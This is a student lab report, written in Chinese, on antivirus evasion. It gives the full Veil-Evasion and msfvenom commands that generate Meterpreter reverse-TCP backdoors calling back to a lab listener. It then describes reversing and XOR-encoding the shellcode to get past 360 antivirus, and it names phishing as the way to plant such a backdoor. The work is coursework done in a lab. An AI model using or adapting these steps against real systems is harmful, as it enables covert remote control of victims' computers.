20145227鄢曼君《网络对抗》免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 免杀是一种能使病毒木马避免被杀毒软件查杀的技术。个人理解就是避免杀毒软件的查杀。
(3)免杀的基本方法有哪些?
- 加壳:通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码。
- 使用免杀平台如
Veil-Evasion
等生成后门软件。 - 改变攻击行为,比如反弹式连接能大大减少被阻止查杀的风险;或者在正常应用软件中插入恶意代码来达到目的。
- 也可以自己编写恶意软件。
实践过程记录
免杀平台Veil-Evasion
生成后门软件
- Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里。在终端下输入指令
veil-evasion
可打开软件,然后根据menu的提示依次键入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.50.130 //设置反弹连接IP
set LPORT 443 //设置反弹端口443
generate
5227
1
- 其中5227是生成的程序名,一共有1、2、3三种选择,一般选择1是默认配置。
- 生成完后如下图所示:
- 打开靶机杀毒软件,把生成的5227.exe拷到靶机。发现被查杀,可以找回,然后添加信任。
- 用VirSCAN.org进行检测,结果如下:
- 在靶机上运行5227.exe,kali成功获取权限
利用shellcode编写后门程序的检测
- 在kali终端,执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=443 -f c
,生成一个c语言格式的Shellcode数组.
- 将生成的代码从虚拟机里拷出来,用
Microsoft Visual Studio 2013
或者Visual C++ 6.0
进行编译运行生成可执行文件ymj.exe。 - 然后在kali下进入MSF打开监听进程,在靶机上运行可执行文件ymj.exe,kali成功获取权限.
-
这一次ymj.exe没有被360查杀,电脑版本win8
-
用VirSCAN.org进行检测,结果如下。可以发现有12%的软件能扫出来,报毒率比用veil-evasion要低一些。
- 我们可以发现,利用shellcode编写后门程序相比通过msfvenom指令生成一个可执行文件而言,风险降低了不少,但是仍被定性为病毒文件,所以需要进一步修改代码。
尝试修改shellcode——将shellcode逆序
- 直接利用shellcode写的C语言程序还是不能实现免杀,仍会被发现,所以我们可以对这个数组做一些变化,比如将shellcode先进行逆序操作得到另外一个数组,然后之后再把它逆序回来,将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了。如下图。
- 回连测试一下,kali成功获取权限。
尝试第二次:将shellcode逆序和异或结合
- 如果将shellcode逆序和异或结合会不会免杀率会更高呢?理论上应该是这样,编写代码运行后,用VirSCAN.org进行检测,结果发现只有2%的软件能扫出来了。
- 回连测试一下,kali成功获取权限。
- 用360杀毒扫描,没有被扫描出来。
- 电脑版本:win8
- 杀毒软件:360杀毒
实践总结与体会
- 做完这次实验,我对于网络安全的问题有了更深的体会。想想之前一直觉得只要安装好杀毒软件,定期杀毒、给电脑体检就可以了,然而我们自己都能实现免杀,更不要说那些恶意想要攻击你电脑的人了,真的是防不胜防啊。在当今社会,处处离不开网络,因此我们要时时刻刻提高安全防范意识,定期检查自己的电脑,防止别人恶意盗取利用自己的信息。希望可以将自己学到的知识与实践相结合,帮助别人解决更多的问题。
离实战还缺些什么技术或步骤?
- 在实际应用中,我们不可能这么容易将后门植入到别人的电脑,或许可以通过钓鱼网站之类的方法来实现。这点还需要我们去思考,去探索。而且现在各种杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,所以还需要我们根据漏洞自己写代码,而不是用软件来直接生成。